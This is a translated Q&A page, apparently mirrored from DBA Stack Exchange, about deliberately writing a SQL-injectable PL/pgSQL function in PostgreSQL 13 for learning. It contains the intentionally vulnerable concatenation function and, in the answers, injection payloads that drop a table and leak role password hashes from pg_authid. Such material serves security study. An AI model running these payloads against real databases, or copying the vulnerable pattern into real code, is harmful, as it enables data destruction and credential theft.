首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >在PostgreSQL 13中,我试图在自己的函数中进行SQL注入

在PostgreSQL 13中,我试图在自己的函数中进行SQL注入
EN

Database Administration用户
提问于 2022-03-11 12:53:38
回答 2查看 233关注 0票数 0

为了学习目的,我尝试使用PLPGSQL创建一个函数,并在其上进行SQL注入。我最近了解了formatUSINGquote_literalquote_indent,所以我很擅长避免使用SQL注入。我想要做的是创建一个允许SQL注入(即drop table)的函数。

所以我写了这个:

代码语言:javascript
复制
create or replace function badfunc(tablename text, identifier int4)
returns setof character varying as $
declare
    query text;
begin
    query := 'select full_name from ' || $1 || ' where re = ' || $2 ||'';
    raise notice 'query: %', query;
    return query execute query;
end;
$ language 'plpgsql';

但是,当我使用select badfunc('; drop table tb_students;', 1001);执行这个函数时,我会得到以下错误:

代码语言:javascript
复制
[42601] ERROR: syntax error at or near ";" where: function PL/pgSQL badfunc(text,integer) linha 7 in RETURN QUERY

所以我认为这不是这样的。如何实现这个SQL注入?

EN

回答 2

Database Administration用户

发布于 2022-03-11 13:14:36

您必须使它成为有效的SQL语句:

代码语言:javascript
复制
SELECT badfunc('(VALUES ('done')) AS x(fullname); drop table tb_students; --', 1001);
票数 1
EN

Database Administration用户

发布于 2022-03-11 17:51:38

PostgreSQL的内部限制阻止您在本例中执行多语句注入。您可能不得不满足于数据泄漏。

代码语言:javascript
复制
 SELECT badfunc('tb_students', '1001 union all select concat(rolname,rolpassword) from pg_authid');
票数 1
EN
页面原文内容由Database Administration提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://dba.stackexchange.com/questions/308621

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档